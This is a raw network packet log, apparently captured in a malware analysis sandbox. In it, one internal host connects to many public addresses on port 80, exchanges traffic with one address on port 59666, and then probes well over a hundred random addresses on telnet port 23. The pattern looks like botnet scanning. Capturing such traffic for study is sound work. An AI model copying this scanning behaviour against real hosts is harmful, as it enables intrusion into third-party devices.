Jan 5, 2025 14:34:59.298284054 CET	80	54048	129.167.223.16	192.168.2.13
Jan 5, 2025 14:34:59.298293114 CET	80	39910	4.31.183.181	192.168.2.13
Jan 5, 2025 14:34:59.298302889 CET	80	59960	148.177.12.116	192.168.2.13
Jan 5, 2025 14:34:59.298312902 CET	80	42598	70.145.8.67	192.168.2.13
Jan 5, 2025 14:34:59.298321009 CET	44430	80	192.168.2.13	78.155.255.230
Jan 5, 2025 14:34:59.298324108 CET	80	49946	204.248.109.44	192.168.2.13
Jan 5, 2025 14:34:59.298324108 CET	54048	80	192.168.2.13	129.167.223.16
Jan 5, 2025 14:34:59.298336983 CET	80	57154	159.234.213.235	192.168.2.13
Jan 5, 2025 14:34:59.298336029 CET	39910	80	192.168.2.13	4.31.183.181
Jan 5, 2025 14:34:59.298337936 CET	59960	80	192.168.2.13	148.177.12.116
Jan 5, 2025 14:34:59.298347950 CET	80	60436	123.54.183.241	192.168.2.13
Jan 5, 2025 14:34:59.298357964 CET	80	60464	123.54.183.241	192.168.2.13
Jan 5, 2025 14:34:59.298358917 CET	42598	80	192.168.2.13	70.145.8.67
Jan 5, 2025 14:34:59.298367977 CET	80	34994	135.40.7.85	192.168.2.13
Jan 5, 2025 14:34:59.298378944 CET	80	55290	9.9.137.157	192.168.2.13
Jan 5, 2025 14:34:59.298389912 CET	57154	80	192.168.2.13	159.234.213.235
Jan 5, 2025 14:34:59.298394918 CET	80	47202	143.71.140.71	192.168.2.13
Jan 5, 2025 14:34:59.298402071 CET	60464	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.298425913 CET	55290	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:34:59.298479080 CET	44430	80	192.168.2.13	78.155.255.230
Jan 5, 2025 14:34:59.298484087 CET	60464	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.298510075 CET	44430	80	192.168.2.13	78.155.255.230
Jan 5, 2025 14:34:59.298511982 CET	47202	80	192.168.2.13	143.71.140.71
Jan 5, 2025 14:34:59.298516035 CET	49946	80	192.168.2.13	204.248.109.44
Jan 5, 2025 14:34:59.298662901 CET	80	32908	149.218.144.175	192.168.2.13
Jan 5, 2025 14:34:59.298701048 CET	32908	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:59.298727036 CET	80	60436	123.54.183.241	192.168.2.13
Jan 5, 2025 14:34:59.299076080 CET	80	34994	135.40.7.85	192.168.2.13
Jan 5, 2025 14:34:59.299086094 CET	80	48472	213.11.144.146	192.168.2.13
Jan 5, 2025 14:34:59.299099922 CET	80	40502	98.203.60.63	192.168.2.13
Jan 5, 2025 14:34:59.299109936 CET	80	46622	130.175.77.211	192.168.2.13
Jan 5, 2025 14:34:59.299120903 CET	80	49742	109.146.34.96	192.168.2.13
Jan 5, 2025 14:34:59.299130917 CET	80	60980	149.218.144.175	192.168.2.13
Jan 5, 2025 14:34:59.299138069 CET	46622	80	192.168.2.13	130.175.77.211
Jan 5, 2025 14:34:59.299138069 CET	48472	80	192.168.2.13	213.11.144.146
Jan 5, 2025 14:34:59.299140930 CET	80	52024	59.179.62.232	192.168.2.13
Jan 5, 2025 14:34:59.299151897 CET	80	53112	107.209.39.169	192.168.2.13
Jan 5, 2025 14:34:59.299153090 CET	49742	80	192.168.2.13	109.146.34.96
Jan 5, 2025 14:34:59.299155951 CET	40502	80	192.168.2.13	98.203.60.63
Jan 5, 2025 14:34:59.299175978 CET	52024	80	192.168.2.13	59.179.62.232
Jan 5, 2025 14:34:59.301505089 CET	44456	80	192.168.2.13	78.155.255.230
Jan 5, 2025 14:34:59.303388119 CET	80	44430	78.155.255.230	192.168.2.13
Jan 5, 2025 14:34:59.303482056 CET	80	60464	123.54.183.241	192.168.2.13
Jan 5, 2025 14:34:59.303965092 CET	52756	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:59.304312944 CET	80	60464	123.54.183.241	192.168.2.13
Jan 5, 2025 14:34:59.304353952 CET	60464	80	192.168.2.13	123.54.183.241
Jan 5, 2025 14:34:59.305202007 CET	54048	80	192.168.2.13	129.167.223.16
Jan 5, 2025 14:34:59.305202007 CET	54048	80	192.168.2.13	129.167.223.16
Jan 5, 2025 14:34:59.306292057 CET	80	44456	78.155.255.230	192.168.2.13
Jan 5, 2025 14:34:59.306327105 CET	44456	80	192.168.2.13	78.155.255.230
Jan 5, 2025 14:34:59.308531046 CET	54076	80	192.168.2.13	129.167.223.16
Jan 5, 2025 14:34:59.308779955 CET	59666	52756	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:59.308824062 CET	52756	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:59.309952974 CET	80	54048	129.167.223.16	192.168.2.13
Jan 5, 2025 14:34:59.312143087 CET	43428	80	192.168.2.13	120.217.143.184
Jan 5, 2025 14:34:59.312144041 CET	41498	80	192.168.2.13	163.142.15.188
Jan 5, 2025 14:34:59.312340975 CET	39910	80	192.168.2.13	4.31.183.181
Jan 5, 2025 14:34:59.312340975 CET	39910	80	192.168.2.13	4.31.183.181
Jan 5, 2025 14:34:59.313260078 CET	80	54076	129.167.223.16	192.168.2.13
Jan 5, 2025 14:34:59.313297033 CET	54076	80	192.168.2.13	129.167.223.16
Jan 5, 2025 14:34:59.316004038 CET	39936	80	192.168.2.13	4.31.183.181
Jan 5, 2025 14:34:59.316452980 CET	52756	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:59.316952944 CET	80	43428	120.217.143.184	192.168.2.13
Jan 5, 2025 14:34:59.316963911 CET	80	41498	163.142.15.188	192.168.2.13
Jan 5, 2025 14:34:59.316997051 CET	43428	80	192.168.2.13	120.217.143.184
Jan 5, 2025 14:34:59.317001104 CET	41498	80	192.168.2.13	163.142.15.188
Jan 5, 2025 14:34:59.317090988 CET	80	39910	4.31.183.181	192.168.2.13
Jan 5, 2025 14:34:59.319384098 CET	59960	80	192.168.2.13	148.177.12.116
Jan 5, 2025 14:34:59.319384098 CET	59960	80	192.168.2.13	148.177.12.116
Jan 5, 2025 14:34:59.320730925 CET	80	39936	4.31.183.181	192.168.2.13
Jan 5, 2025 14:34:59.320771933 CET	39936	80	192.168.2.13	4.31.183.181
Jan 5, 2025 14:34:59.321192026 CET	59666	52756	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:59.321232080 CET	52756	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:59.322230101 CET	59984	80	192.168.2.13	148.177.12.116
Jan 5, 2025 14:34:59.324182987 CET	80	59960	148.177.12.116	192.168.2.13
Jan 5, 2025 14:34:59.325246096 CET	42598	80	192.168.2.13	70.145.8.67
Jan 5, 2025 14:34:59.325246096 CET	42598	80	192.168.2.13	70.145.8.67
Jan 5, 2025 14:34:59.325989962 CET	59666	52756	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:59.327001095 CET	80	59984	148.177.12.116	192.168.2.13
Jan 5, 2025 14:34:59.327037096 CET	59984	80	192.168.2.13	148.177.12.116
Jan 5, 2025 14:34:59.328166008 CET	42620	80	192.168.2.13	70.145.8.67
Jan 5, 2025 14:34:59.330063105 CET	80	42598	70.145.8.67	192.168.2.13
Jan 5, 2025 14:34:59.331464052 CET	46622	80	192.168.2.13	130.175.77.211
Jan 5, 2025 14:34:59.331475019 CET	52024	80	192.168.2.13	59.179.62.232
Jan 5, 2025 14:34:59.331475019 CET	44456	80	192.168.2.13	78.155.255.230
Jan 5, 2025 14:34:59.331481934 CET	54076	80	192.168.2.13	129.167.223.16
Jan 5, 2025 14:34:59.331496000 CET	43428	80	192.168.2.13	120.217.143.184
Jan 5, 2025 14:34:59.331500053 CET	39936	80	192.168.2.13	4.31.183.181
Jan 5, 2025 14:34:59.331512928 CET	55290	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:34:59.331512928 CET	55290	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:34:59.332926035 CET	80	42620	70.145.8.67	192.168.2.13
Jan 5, 2025 14:34:59.332963943 CET	42620	80	192.168.2.13	70.145.8.67
Jan 5, 2025 14:34:59.334696054 CET	55462	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:34:59.336325884 CET	80	55290	9.9.137.157	192.168.2.13
Jan 5, 2025 14:34:59.336335897 CET	80	52024	59.179.62.232	192.168.2.13
Jan 5, 2025 14:34:59.336366892 CET	52024	80	192.168.2.13	59.179.62.232
Jan 5, 2025 14:34:59.336461067 CET	80	54076	129.167.223.16	192.168.2.13
Jan 5, 2025 14:34:59.336477041 CET	80	46622	130.175.77.211	192.168.2.13
Jan 5, 2025 14:34:59.336492062 CET	54076	80	192.168.2.13	129.167.223.16
Jan 5, 2025 14:34:59.336513042 CET	46622	80	192.168.2.13	130.175.77.211
Jan 5, 2025 14:34:59.336574078 CET	80	44456	78.155.255.230	192.168.2.13
Jan 5, 2025 14:34:59.336584091 CET	80	43428	120.217.143.184	192.168.2.13
Jan 5, 2025 14:34:59.336592913 CET	80	39936	4.31.183.181	192.168.2.13
Jan 5, 2025 14:34:59.336607933 CET	44456	80	192.168.2.13	78.155.255.230
Jan 5, 2025 14:34:59.336622953 CET	43428	80	192.168.2.13	120.217.143.184
Jan 5, 2025 14:34:59.336623907 CET	39936	80	192.168.2.13	4.31.183.181
Jan 5, 2025 14:34:59.337759018 CET	59984	80	192.168.2.13	148.177.12.116
Jan 5, 2025 14:34:59.337768078 CET	41498	80	192.168.2.13	163.142.15.188
Jan 5, 2025 14:34:59.337783098 CET	57154	80	192.168.2.13	159.234.213.235
Jan 5, 2025 14:34:59.337783098 CET	57154	80	192.168.2.13	159.234.213.235
Jan 5, 2025 14:34:59.340816975 CET	57174	80	192.168.2.13	159.234.213.235
Jan 5, 2025 14:34:59.343534946 CET	80	57154	159.234.213.235	192.168.2.13
Jan 5, 2025 14:34:59.343544960 CET	80	59984	148.177.12.116	192.168.2.13
Jan 5, 2025 14:34:59.343554974 CET	80	41498	163.142.15.188	192.168.2.13
Jan 5, 2025 14:34:59.343563080 CET	80	44430	78.155.255.230	192.168.2.13
Jan 5, 2025 14:34:59.343576908 CET	59984	80	192.168.2.13	148.177.12.116
Jan 5, 2025 14:34:59.343585968 CET	41498	80	192.168.2.13	163.142.15.188
Jan 5, 2025 14:34:59.344139099 CET	60386	80	192.168.2.13	187.77.75.60
Jan 5, 2025 14:34:59.344141006 CET	54808	80	192.168.2.13	181.50.53.2
Jan 5, 2025 14:34:59.344216108 CET	47202	80	192.168.2.13	143.71.140.71
Jan 5, 2025 14:34:59.344216108 CET	47202	80	192.168.2.13	143.71.140.71
Jan 5, 2025 14:34:59.345638990 CET	80	57174	159.234.213.235	192.168.2.13
Jan 5, 2025 14:34:59.345676899 CET	57174	80	192.168.2.13	159.234.213.235
Jan 5, 2025 14:34:59.347223997 CET	47376	80	192.168.2.13	143.71.140.71
Jan 5, 2025 14:34:59.348915100 CET	80	60386	187.77.75.60	192.168.2.13
Jan 5, 2025 14:34:59.348984957 CET	60386	80	192.168.2.13	187.77.75.60
Jan 5, 2025 14:34:59.349205017 CET	80	47202	143.71.140.71	192.168.2.13
Jan 5, 2025 14:34:59.350573063 CET	40502	80	192.168.2.13	98.203.60.63
Jan 5, 2025 14:34:59.350573063 CET	40502	80	192.168.2.13	98.203.60.63
Jan 5, 2025 14:34:59.353601933 CET	40668	80	192.168.2.13	98.203.60.63
Jan 5, 2025 14:34:59.355608940 CET	80	40502	98.203.60.63	192.168.2.13
Jan 5, 2025 14:34:59.355772018 CET	80	54048	129.167.223.16	192.168.2.13
Jan 5, 2025 14:34:59.356698990 CET	48472	80	192.168.2.13	213.11.144.146
Jan 5, 2025 14:34:59.356698990 CET	48472	80	192.168.2.13	213.11.144.146
Jan 5, 2025 14:34:59.359808922 CET	48634	80	192.168.2.13	213.11.144.146
Jan 5, 2025 14:34:59.361790895 CET	80	48472	213.11.144.146	192.168.2.13
Jan 5, 2025 14:34:59.362931967 CET	42620	80	192.168.2.13	70.145.8.67
Jan 5, 2025 14:34:59.362935066 CET	49742	80	192.168.2.13	109.146.34.96
Jan 5, 2025 14:34:59.362935066 CET	49742	80	192.168.2.13	109.146.34.96
Jan 5, 2025 14:34:59.363987923 CET	80	39910	4.31.183.181	192.168.2.13
Jan 5, 2025 14:34:59.365046024 CET	80	48634	213.11.144.146	192.168.2.13
Jan 5, 2025 14:34:59.365083933 CET	48634	80	192.168.2.13	213.11.144.146
Jan 5, 2025 14:34:59.366050005 CET	49900	80	192.168.2.13	109.146.34.96
Jan 5, 2025 14:34:59.367737055 CET	80	59960	148.177.12.116	192.168.2.13
Jan 5, 2025 14:34:59.367903948 CET	80	49742	109.146.34.96	192.168.2.13
Jan 5, 2025 14:34:59.367916107 CET	80	42620	70.145.8.67	192.168.2.13
Jan 5, 2025 14:34:59.367959023 CET	42620	80	192.168.2.13	70.145.8.67
Jan 5, 2025 14:34:59.369240999 CET	49946	80	192.168.2.13	204.248.109.44
Jan 5, 2025 14:34:59.369240999 CET	49946	80	192.168.2.13	204.248.109.44
Jan 5, 2025 14:34:59.370932102 CET	80	49900	109.146.34.96	192.168.2.13
Jan 5, 2025 14:34:59.370970964 CET	49900	80	192.168.2.13	109.146.34.96
Jan 5, 2025 14:34:59.372473001 CET	49980	80	192.168.2.13	204.248.109.44
Jan 5, 2025 14:34:59.374135971 CET	80	49946	204.248.109.44	192.168.2.13
Jan 5, 2025 14:34:59.375730038 CET	80	42598	70.145.8.67	192.168.2.13
Jan 5, 2025 14:34:59.375854015 CET	48634	80	192.168.2.13	213.11.144.146
Jan 5, 2025 14:34:59.375854015 CET	60386	80	192.168.2.13	187.77.75.60
Jan 5, 2025 14:34:59.375854015 CET	49900	80	192.168.2.13	109.146.34.96
Jan 5, 2025 14:34:59.375866890 CET	57174	80	192.168.2.13	159.234.213.235
Jan 5, 2025 14:34:59.380676985 CET	80	48634	213.11.144.146	192.168.2.13
Jan 5, 2025 14:34:59.380712032 CET	48634	80	192.168.2.13	213.11.144.146
Jan 5, 2025 14:34:59.380795956 CET	80	60386	187.77.75.60	192.168.2.13
Jan 5, 2025 14:34:59.380805969 CET	80	49900	109.146.34.96	192.168.2.13
Jan 5, 2025 14:34:59.380815983 CET	80	57174	159.234.213.235	192.168.2.13
Jan 5, 2025 14:34:59.380834103 CET	60386	80	192.168.2.13	187.77.75.60
Jan 5, 2025 14:34:59.380834103 CET	49900	80	192.168.2.13	109.146.34.96
Jan 5, 2025 14:34:59.380844116 CET	57174	80	192.168.2.13	159.234.213.235
Jan 5, 2025 14:34:59.385873079 CET	80	55290	9.9.137.157	192.168.2.13
Jan 5, 2025 14:34:59.385884047 CET	80	57154	159.234.213.235	192.168.2.13
Jan 5, 2025 14:34:59.395498991 CET	80	47202	143.71.140.71	192.168.2.13
Jan 5, 2025 14:34:59.395509005 CET	80	40502	98.203.60.63	192.168.2.13
Jan 5, 2025 14:34:59.403495073 CET	80	48472	213.11.144.146	192.168.2.13
Jan 5, 2025 14:34:59.411526918 CET	80	49742	109.146.34.96	192.168.2.13
Jan 5, 2025 14:34:59.415483952 CET	80	49946	204.248.109.44	192.168.2.13
Jan 5, 2025 14:34:59.536145926 CET	50178	23	192.168.2.13	173.69.75.153
Jan 5, 2025 14:34:59.536145926 CET	55642	23	192.168.2.13	9.255.126.84
Jan 5, 2025 14:34:59.541023970 CET	23	50178	173.69.75.153	192.168.2.13
Jan 5, 2025 14:34:59.541047096 CET	23	55642	9.255.126.84	192.168.2.13
Jan 5, 2025 14:34:59.541090965 CET	50178	23	192.168.2.13	173.69.75.153
Jan 5, 2025 14:34:59.541090965 CET	55642	23	192.168.2.13	9.255.126.84
Jan 5, 2025 14:34:59.541178942 CET	29476	23	192.168.2.13	134.225.112.126
Jan 5, 2025 14:34:59.541196108 CET	29476	23	192.168.2.13	46.144.30.146
Jan 5, 2025 14:34:59.541201115 CET	29476	23	192.168.2.13	83.127.8.198
Jan 5, 2025 14:34:59.541202068 CET	29476	23	192.168.2.13	101.106.62.91
Jan 5, 2025 14:34:59.541204929 CET	29476	23	192.168.2.13	132.50.171.219
Jan 5, 2025 14:34:59.541204929 CET	29476	23	192.168.2.13	158.187.215.89
Jan 5, 2025 14:34:59.541205883 CET	29476	23	192.168.2.13	120.215.118.4
Jan 5, 2025 14:34:59.541205883 CET	29476	23	192.168.2.13	123.97.12.90
Jan 5, 2025 14:34:59.541205883 CET	29476	23	192.168.2.13	27.145.167.50
Jan 5, 2025 14:34:59.541234016 CET	29476	23	192.168.2.13	43.178.13.185
Jan 5, 2025 14:34:59.541237116 CET	29476	23	192.168.2.13	18.47.149.92
Jan 5, 2025 14:34:59.541238070 CET	29476	23	192.168.2.13	141.141.149.2
Jan 5, 2025 14:34:59.541238070 CET	29476	23	192.168.2.13	133.123.209.85
Jan 5, 2025 14:34:59.541244030 CET	29476	23	192.168.2.13	121.17.209.29
Jan 5, 2025 14:34:59.541244030 CET	29476	23	192.168.2.13	59.252.26.162
Jan 5, 2025 14:34:59.541244030 CET	29476	23	192.168.2.13	216.41.141.14
Jan 5, 2025 14:34:59.541250944 CET	29476	23	192.168.2.13	50.161.219.255
Jan 5, 2025 14:34:59.541259050 CET	29476	23	192.168.2.13	161.198.202.212
Jan 5, 2025 14:34:59.541264057 CET	29476	23	192.168.2.13	130.70.34.67
Jan 5, 2025 14:34:59.541269064 CET	29476	23	192.168.2.13	146.182.141.53
Jan 5, 2025 14:34:59.541270018 CET	29476	23	192.168.2.13	50.118.230.113
Jan 5, 2025 14:34:59.541282892 CET	29476	23	192.168.2.13	98.126.173.53
Jan 5, 2025 14:34:59.541284084 CET	29476	23	192.168.2.13	1.106.197.218
Jan 5, 2025 14:34:59.541284084 CET	29476	23	192.168.2.13	53.150.135.94
Jan 5, 2025 14:34:59.541301012 CET	29476	23	192.168.2.13	13.157.10.72
Jan 5, 2025 14:34:59.541306019 CET	29476	23	192.168.2.13	162.224.100.138
Jan 5, 2025 14:34:59.541316032 CET	29476	23	192.168.2.13	57.30.79.221
Jan 5, 2025 14:34:59.541316986 CET	29476	23	192.168.2.13	122.67.159.173
Jan 5, 2025 14:34:59.541333914 CET	29476	23	192.168.2.13	205.166.183.89
Jan 5, 2025 14:34:59.541335106 CET	29476	23	192.168.2.13	87.24.27.98
Jan 5, 2025 14:34:59.541337013 CET	29476	23	192.168.2.13	113.195.114.16
Jan 5, 2025 14:34:59.541342020 CET	29476	23	192.168.2.13	187.64.95.190
Jan 5, 2025 14:34:59.541342020 CET	29476	23	192.168.2.13	41.225.240.7
Jan 5, 2025 14:34:59.541347980 CET	29476	23	192.168.2.13	169.221.104.141
Jan 5, 2025 14:34:59.541349888 CET	29476	23	192.168.2.13	212.92.199.204
Jan 5, 2025 14:34:59.541357040 CET	29476	23	192.168.2.13	107.139.179.142
Jan 5, 2025 14:34:59.541368008 CET	29476	23	192.168.2.13	106.50.192.53
Jan 5, 2025 14:34:59.541372061 CET	29476	23	192.168.2.13	110.50.177.196
Jan 5, 2025 14:34:59.541387081 CET	29476	23	192.168.2.13	145.211.44.156
Jan 5, 2025 14:34:59.541387081 CET	29476	23	192.168.2.13	68.37.173.129
Jan 5, 2025 14:34:59.541388988 CET	29476	23	192.168.2.13	149.104.200.7
Jan 5, 2025 14:34:59.541397095 CET	29476	23	192.168.2.13	169.39.189.147
Jan 5, 2025 14:34:59.541409969 CET	29476	23	192.168.2.13	144.196.90.35
Jan 5, 2025 14:34:59.541414976 CET	29476	23	192.168.2.13	213.56.4.37
Jan 5, 2025 14:34:59.541418076 CET	29476	23	192.168.2.13	179.38.44.142
Jan 5, 2025 14:34:59.541419029 CET	29476	23	192.168.2.13	145.45.251.63
Jan 5, 2025 14:34:59.541419029 CET	29476	23	192.168.2.13	40.230.136.182
Jan 5, 2025 14:34:59.541424990 CET	29476	23	192.168.2.13	41.107.19.9
Jan 5, 2025 14:34:59.541440964 CET	29476	23	192.168.2.13	51.166.104.238
Jan 5, 2025 14:34:59.541443110 CET	29476	23	192.168.2.13	207.44.107.117
Jan 5, 2025 14:34:59.541450977 CET	29476	23	192.168.2.13	9.6.40.165
Jan 5, 2025 14:34:59.541450977 CET	29476	23	192.168.2.13	84.248.203.123
Jan 5, 2025 14:34:59.541450977 CET	29476	23	192.168.2.13	72.115.27.237
Jan 5, 2025 14:34:59.541454077 CET	29476	23	192.168.2.13	94.123.253.101
Jan 5, 2025 14:34:59.541454077 CET	29476	23	192.168.2.13	84.244.247.67
Jan 5, 2025 14:34:59.541465998 CET	29476	23	192.168.2.13	180.223.232.51
Jan 5, 2025 14:34:59.541471004 CET	29476	23	192.168.2.13	77.131.17.240
Jan 5, 2025 14:34:59.541471004 CET	29476	23	192.168.2.13	74.151.187.124
Jan 5, 2025 14:34:59.541474104 CET	29476	23	192.168.2.13	175.68.35.3
Jan 5, 2025 14:34:59.541474104 CET	29476	23	192.168.2.13	150.211.241.135
Jan 5, 2025 14:34:59.541481972 CET	29476	23	192.168.2.13	126.2.130.85
Jan 5, 2025 14:34:59.541498899 CET	29476	23	192.168.2.13	123.62.107.130
Jan 5, 2025 14:34:59.541505098 CET	29476	23	192.168.2.13	161.35.210.239
Jan 5, 2025 14:34:59.541505098 CET	29476	23	192.168.2.13	19.5.61.12
Jan 5, 2025 14:34:59.541505098 CET	29476	23	192.168.2.13	138.39.102.150
Jan 5, 2025 14:34:59.541512966 CET	29476	23	192.168.2.13	9.92.251.201
Jan 5, 2025 14:34:59.541513920 CET	29476	23	192.168.2.13	220.66.131.113
Jan 5, 2025 14:34:59.541516066 CET	29476	23	192.168.2.13	161.185.74.167
Jan 5, 2025 14:34:59.541526079 CET	29476	23	192.168.2.13	217.97.37.207
Jan 5, 2025 14:34:59.541527033 CET	29476	23	192.168.2.13	139.29.8.45
Jan 5, 2025 14:34:59.541527987 CET	29476	23	192.168.2.13	134.183.198.86
Jan 5, 2025 14:34:59.541532040 CET	29476	23	192.168.2.13	210.145.249.129
Jan 5, 2025 14:34:59.541532993 CET	29476	23	192.168.2.13	129.248.225.131
Jan 5, 2025 14:34:59.541533947 CET	29476	23	192.168.2.13	67.126.253.201
Jan 5, 2025 14:34:59.541536093 CET	29476	23	192.168.2.13	88.12.232.252
Jan 5, 2025 14:34:59.541553020 CET	29476	23	192.168.2.13	222.244.113.59
Jan 5, 2025 14:34:59.541553020 CET	29476	23	192.168.2.13	108.182.78.116
Jan 5, 2025 14:34:59.541562080 CET	29476	23	192.168.2.13	171.142.169.58
Jan 5, 2025 14:34:59.541569948 CET	29476	23	192.168.2.13	171.156.23.153
Jan 5, 2025 14:34:59.541573048 CET	29476	23	192.168.2.13	48.193.36.89
Jan 5, 2025 14:34:59.541574001 CET	29476	23	192.168.2.13	87.74.235.51
Jan 5, 2025 14:34:59.541573048 CET	29476	23	192.168.2.13	65.92.98.248
Jan 5, 2025 14:34:59.541574001 CET	29476	23	192.168.2.13	188.125.241.11
Jan 5, 2025 14:34:59.541574001 CET	29476	23	192.168.2.13	197.114.4.253
Jan 5, 2025 14:34:59.541595936 CET	29476	23	192.168.2.13	106.91.181.32
Jan 5, 2025 14:34:59.541595936 CET	29476	23	192.168.2.13	9.64.150.155
Jan 5, 2025 14:34:59.541595936 CET	29476	23	192.168.2.13	59.243.53.168
Jan 5, 2025 14:34:59.541604996 CET	29476	23	192.168.2.13	104.97.88.21
Jan 5, 2025 14:34:59.541620970 CET	29476	23	192.168.2.13	35.25.18.68
Jan 5, 2025 14:34:59.541621923 CET	29476	23	192.168.2.13	94.181.59.184
Jan 5, 2025 14:34:59.541621923 CET	29476	23	192.168.2.13	156.128.235.237
Jan 5, 2025 14:34:59.541630030 CET	29476	23	192.168.2.13	126.180.200.218
Jan 5, 2025 14:34:59.541635036 CET	29476	23	192.168.2.13	20.197.132.76
Jan 5, 2025 14:34:59.541646957 CET	29476	23	192.168.2.13	113.181.246.223
Jan 5, 2025 14:34:59.541647911 CET	29476	23	192.168.2.13	139.224.198.225
Jan 5, 2025 14:34:59.541651964 CET	29476	23	192.168.2.13	18.164.72.28
Jan 5, 2025 14:34:59.541654110 CET	29476	23	192.168.2.13	197.55.13.184
Jan 5, 2025 14:34:59.541656017 CET	29476	23	192.168.2.13	194.134.72.110
Jan 5, 2025 14:34:59.541657925 CET	29476	23	192.168.2.13	192.99.239.23
Jan 5, 2025 14:34:59.541660070 CET	29476	23	192.168.2.13	24.58.237.9
Jan 5, 2025 14:34:59.541662931 CET	29476	23	192.168.2.13	64.201.192.98
Jan 5, 2025 14:34:59.541671991 CET	29476	23	192.168.2.13	162.115.191.11
Jan 5, 2025 14:34:59.541678905 CET	29476	23	192.168.2.13	78.111.2.31
Jan 5, 2025 14:34:59.541692019 CET	29476	23	192.168.2.13	204.150.106.58
Jan 5, 2025 14:34:59.541692972 CET	29476	23	192.168.2.13	9.126.92.180
Jan 5, 2025 14:34:59.541692972 CET	29476	23	192.168.2.13	18.130.216.189
Jan 5, 2025 14:34:59.541697025 CET	29476	23	192.168.2.13	187.171.194.186
Jan 5, 2025 14:34:59.541697025 CET	29476	23	192.168.2.13	92.175.51.149
Jan 5, 2025 14:34:59.541698933 CET	29476	23	192.168.2.13	162.200.187.54
Jan 5, 2025 14:34:59.541707039 CET	29476	23	192.168.2.13	178.96.116.201
Jan 5, 2025 14:34:59.541712046 CET	29476	23	192.168.2.13	20.83.59.201
Jan 5, 2025 14:34:59.541712999 CET	29476	23	192.168.2.13	204.205.145.3
Jan 5, 2025 14:34:59.541717052 CET	29476	23	192.168.2.13	167.157.29.62
Jan 5, 2025 14:34:59.541721106 CET	29476	23	192.168.2.13	168.246.23.37
Jan 5, 2025 14:34:59.541721106 CET	29476	23	192.168.2.13	170.9.19.205
Jan 5, 2025 14:34:59.541739941 CET	29476	23	192.168.2.13	57.141.165.80
Jan 5, 2025 14:34:59.541740894 CET	29476	23	192.168.2.13	217.32.176.197
Jan 5, 2025 14:34:59.541740894 CET	29476	23	192.168.2.13	155.222.92.35
Jan 5, 2025 14:34:59.541764975 CET	29476	23	192.168.2.13	146.127.43.238
Jan 5, 2025 14:34:59.541765928 CET	29476	23	192.168.2.13	108.115.84.37
Jan 5, 2025 14:34:59.541765928 CET	29476	23	192.168.2.13	154.2.58.233
Jan 5, 2025 14:34:59.541774988 CET	29476	23	192.168.2.13	63.86.119.22
Jan 5, 2025 14:34:59.541774988 CET	29476	23	192.168.2.13	58.92.134.108
Jan 5, 2025 14:34:59.541790009 CET	29476	23	192.168.2.13	153.123.107.52
Jan 5, 2025 14:34:59.541790009 CET	29476	23	192.168.2.13	27.228.61.69
Jan 5, 2025 14:34:59.541793108 CET	29476	23	192.168.2.13	196.121.27.195
Jan 5, 2025 14:34:59.541794062 CET	29476	23	192.168.2.13	209.222.139.164
Jan 5, 2025 14:34:59.541800022 CET	29476	23	192.168.2.13	141.35.177.99
Jan 5, 2025 14:34:59.541800022 CET	29476	23	192.168.2.13	94.145.28.134
Jan 5, 2025 14:34:59.541801929 CET	29476	23	192.168.2.13	187.177.242.23
Jan 5, 2025 14:34:59.541807890 CET	29476	23	192.168.2.13	113.124.161.112
Jan 5, 2025 14:34:59.541809082 CET	29476	23	192.168.2.13	180.1.251.223
Jan 5, 2025 14:34:59.541809082 CET	29476	23	192.168.2.13	208.122.40.181
Jan 5, 2025 14:34:59.541821957 CET	29476	23	192.168.2.13	46.235.159.188
Jan 5, 2025 14:34:59.541826963 CET	29476	23	192.168.2.13	213.106.252.10
Jan 5, 2025 14:34:59.541827917 CET	29476	23	192.168.2.13	84.158.0.10
Jan 5, 2025 14:34:59.541827917 CET	29476	23	192.168.2.13	160.89.53.6
Jan 5, 2025 14:34:59.541835070 CET	29476	23	192.168.2.13	99.126.179.134
Jan 5, 2025 14:34:59.541845083 CET	29476	23	192.168.2.13	173.237.36.243
Jan 5, 2025 14:34:59.541847944 CET	29476	23	192.168.2.13	186.175.66.244
Jan 5, 2025 14:34:59.541847944 CET	29476	23	192.168.2.13	117.82.49.74
Jan 5, 2025 14:34:59.541853905 CET	29476	23	192.168.2.13	194.95.60.67
Jan 5, 2025 14:34:59.541853905 CET	29476	23	192.168.2.13	156.79.28.13
Jan 5, 2025 14:34:59.541867971 CET	29476	23	192.168.2.13	180.10.176.0
Jan 5, 2025 14:34:59.541872978 CET	29476	23	192.168.2.13	143.163.92.80
Jan 5, 2025 14:34:59.541883945 CET	29476	23	192.168.2.13	187.195.206.156
Jan 5, 2025 14:34:59.541887045 CET	29476	23	192.168.2.13	205.231.172.13
Jan 5, 2025 14:34:59.541887045 CET	29476	23	192.168.2.13	169.90.96.157
Jan 5, 2025 14:34:59.541893959 CET	29476	23	192.168.2.13	149.93.31.234
Jan 5, 2025 14:34:59.541894913 CET	29476	23	192.168.2.13	64.250.7.167
Jan 5, 2025 14:34:59.541898012 CET	29476	23	192.168.2.13	131.118.194.175
Jan 5, 2025 14:34:59.541901112 CET	29476	23	192.168.2.13	158.146.214.230
Jan 5, 2025 14:34:59.541902065 CET	29476	23	192.168.2.13	31.178.82.79
Jan 5, 2025 14:34:59.541912079 CET	29476	23	192.168.2.13	112.168.20.110
Jan 5, 2025 14:34:59.541912079 CET	29476	23	192.168.2.13	219.112.25.164
Jan 5, 2025 14:34:59.541913033 CET	29476	23	192.168.2.13	108.159.225.119
Jan 5, 2025 14:34:59.541932106 CET	29476	23	192.168.2.13	131.182.51.26
Jan 5, 2025 14:34:59.541937113 CET	29476	23	192.168.2.13	64.120.72.58
Jan 5, 2025 14:34:59.541937113 CET	29476	23	192.168.2.13	66.35.137.92
Jan 5, 2025 14:34:59.541945934 CET	29476	23	192.168.2.13	109.12.182.60
Jan 5, 2025 14:34:59.541949034 CET	29476	23	192.168.2.13	1.188.121.214
